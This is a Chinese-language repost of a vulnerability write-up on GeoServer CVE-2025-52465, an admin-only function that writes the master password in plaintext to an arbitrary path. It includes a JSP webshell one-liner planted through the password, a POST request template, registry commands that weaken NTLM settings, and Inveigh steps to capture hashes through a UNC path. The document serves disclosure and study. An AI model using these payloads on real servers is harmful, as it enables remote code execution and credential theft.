GeoLocate CVE-2025-52465 - GeoServer漏洞利用
Ots安全
2026年6月26日 19:29
广东
在小说阅读器读本章
去阅读
威胁简报
恶意软件
漏洞攻击
概述
GeoServer 是一个用 Java 编写的开源软件服务器,允许用户共享和编辑地理空间数据。它以互操作性为设计目标,使用开放标准发布来自任何主流空间数据源的数据。
待办事项:添加更多
GeoServerSecurityManager.java源代码文件java/org/geoserver/security 包用途writeMasterPasswordInfo()该函数用于跟踪任意明文密码转储到文件的过程,而不对文件内容进行任何检查。此代码可在以下位置找到:geoserver-main/geoserver-main/src/main/src/main/文件夹。
然后dumpMasterPassword()函数来自MasterPasswordInfoPage.java正在用于保存文件。
这种不安全行为至少会导致两种严重后果。
特别是,任何拥有“ADMIN”权限的用户都能够执行恶意操作。
引用旧文档:“主密码用于验证 root 帐户并保护对密钥库的访问。[...] 如果您忘记了主密码,您可以让 GeoServer 将其以纯文本形式写入您选择的文件。[...] 在“文件名”文本字段中提供完整的文件名路径,然后单击“转储到文件”按钮。”
因此,在分析代码之前,我们先总结一下利用代码漏洞的条件。目前来看,用户必须满足以下条件:
-
admin
-
能够接触到目标
稍后我们将看到,第二次影响只有在满足额外条件的情况下才会发生在 Windows 目标上。
显然,我们必须先启动 GeoServer!默认情况下,实例将在您的本地计算机上的端口启动。8181 位于 /geoserver 端点如果你正在重复我的步骤。
如果您不确定 GeoServer 实例及其版本,请查看前几行日志。这些日志会显示 Jetty 版本、GeoServer 提交记录以及更多信息,帮助您了解是否存在漏洞。
2025-12-18 09:41:27.705:INFO::main: Logging initialized @555ms to org.eclipse.jetty.util.log.StdErrLog2025-12-18 09:41:28.102:INFO:oejs.Server:main: jetty-9.4.57.v20241219; built: 2025-01-08T21:24:30.412Z; git: df524e6b29271c2e09ba9aea83c18dc9db464a31; jvm 17.0.12+8-LTS-2862025-12-18 09:41:28.129:INFO:oejdp.ScanningAppProvider:main: Deployment monitor [file:///C:/Program%20Files/GeoServer/webapps/] at interval 12025-12-18 09:41:29.757:INFO:oejw.StandardDescriptorProcessor:main: NO JSP Support for /geoserver, did not find org.eclipse.jetty.jsp.JettyJspServlet...
此外,如果您要查看 HTTP 请求日志,则必须查找以下 POST 请求:/geoserver/web/wicket/page终点:
POST /geoserver/web/wicket/page?9-1.-form HTTP/1.1Host: 127.0.0.1:8181....Content-Type: application/x-www-form-urlencodedContent-Length: 66....Cookie: JSESSIONID=[REDACTED].... save=x&fileName=[PAYLOAD]
代码坐标
现在我们需要检查代码。我们看到一些用于输出密码的函数,以及一个用于跟踪和记录流程的函数。
让我们来看看。写入主密码信息功能:
void writeMasterPasswordInfo(Resource file, String message, char[] masterPasswordArray) throws IOException { try (BufferedWriter w = new BufferedWriter(new OutputStreamWriter(file.out()))) { ...... ...... w.write(\"This file was created at \" + dateFormat.format(new Date()));
而且dumpMasterPassword从MasterPasswordInfoPage.java:
boolean dumpMasterPassword() throws IOException { return getSecurityManager().dumpMasterPassword(Files.asResource(new File(fileName))); }}
调用dumpMasterPassword从GeoServerSecurityManager.java哪个使用写入主密码信息记录日志:
public boolean dumpMasterPassword(Resource file) throws IOException {.... String message = \"The current master password is: \"; writeMasterPasswordInfo(file, message, getMasterPassword()); return true;
我们看到一个经典的组合,用于将输出处理到文件中,但该文件由一个……管理。资源对象。这次的文件是Resource.java来自包裹org.geoserver.platform.resource可在以下地点获取geoserver-main\geoserver-main\src\platform\src\main\java\org\geoserver\platform\resource\
这本质上是管理并随后实现文件逻辑。攻击者传递给转储主密码功能的文件必须具有有效路径。这是执行攻击的下一个条件。
public interface Resource { /** Enumeration indicating kind of resource used. */ public enum Type { /** * Resource directory (contents available using {@link Resource#list()}). * * @see File#isDirectory() */ DIRECTORY, /** * Resource used for content. Content access available through {@link Resource#in()} and {@link Resource#out()}. */ RESOURCE,....
ava 使用 java.io 的 Path 库处理文件路径——操作系统是透明的,路径以及不同操作系统之间的差异都由 Java 处理。例如,路径分隔符、元文件夹和链接等等。
由于 Java 技术栈的存在,Tomcat 和 Jetty 可以运行并解析 .jsp 文件。JSP 文件是 JavaServer Pages 文件,简单来说就是 Java + HTML,它用于服务器端,在 Java Web 应用程序中动态生成 HTML。这意味着它可能被滥用以执行 Java 代码。
请记住,密码以可逆加密形式存储,并以明文形式输出到指定路径。攻击者可以使用主密码编写 JSP Webshell。
默认情况下,GeoServer 没有设置最大密码长度,这使得管理员可以将恶意代码注入密码。这些数据随后可能被写入 JSP 文件,从而导致潜在的代码执行。
使用 Web 应用程序根目录下的 Tomcat 目录,通过提供的 Web 输入表单放置您的 JSP 文件。
<pre><%Runtime.getRuntime().exec(request.getParameter(\"pwave\"));%></pre>
另一个位置,Windows
这部分是我投入最多精力的地方。当然,我上面写的内容已经得到了维护人员的确认,但对我来说,最新颖的部分是这部分,也是我深入讲解的部分。
在这种情况下,人们错误地假设文件总是写入磁盘,但这并非总是如此。
例如,UNC 路径就是一个特殊情况:\\[ip]\[share]\[file]
注意:此攻击在 Microsoft Windows 系统上有效,因为文件路径名会根据操作系统约定进行解析。
在本例中,我们创建了另一个管理员用户 seconduser 来测试此漏洞。辅助管理员(或任何拥有该 dump 调用权限的用户)不知道原始主密码,因此无法通过 /web 模块更改密码,但他可以窃取密码。
从头开始重现此步骤如下:
-
创建一个文件夹,并通过 SMB 共享(右键单击,选择“属性”>“共享”)
-
检查 LSA 注册表,特别是 LmCompatibilityLevel 值。此值会影响 NTLM 的安全级别,Windows 的默认值因版本而异。您甚至可以启用它。
Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\"Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"LmCompatibilityLevel\" -Value [N]
- 下载并运行 inveigh 来监控流量并记录哈希值:
.\\Inveigh-net4.6.2-v2.0.11> .\\Inveigh.exe
- 使用 UNC 路径将文件发送到您的共享文件夹。Inveigh 将记录哈希值并将其打印出来。
此漏洞允许攻击者捕获身份验证材料,这些材料可以进行离线哈希破解,从而可能导致 GeoServer 计算机使用的凭据泄露。此外,在未强制执行消息签名等保护措施的环境中,NTLMv2 身份验证数据可以转发到其他系统,从而允许攻击者在与其它目标交互时冒充 GeoServer 计算机。
这是因为当 Windows 访问远程 SMB 共享时,它会自动尝试使用计算机的凭据进行身份验证。
这些凭据是 NTLM 哈希 v1 或 v2 - NETNTLM。
因此,当应用程序在 Windows 上运行时,操作系统会将“文件写入”操作透明地转换为网络身份验证事件。
结束
这是 CVE-2025-52465 的简要版本和解释,以及其中两个可能的影响。
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论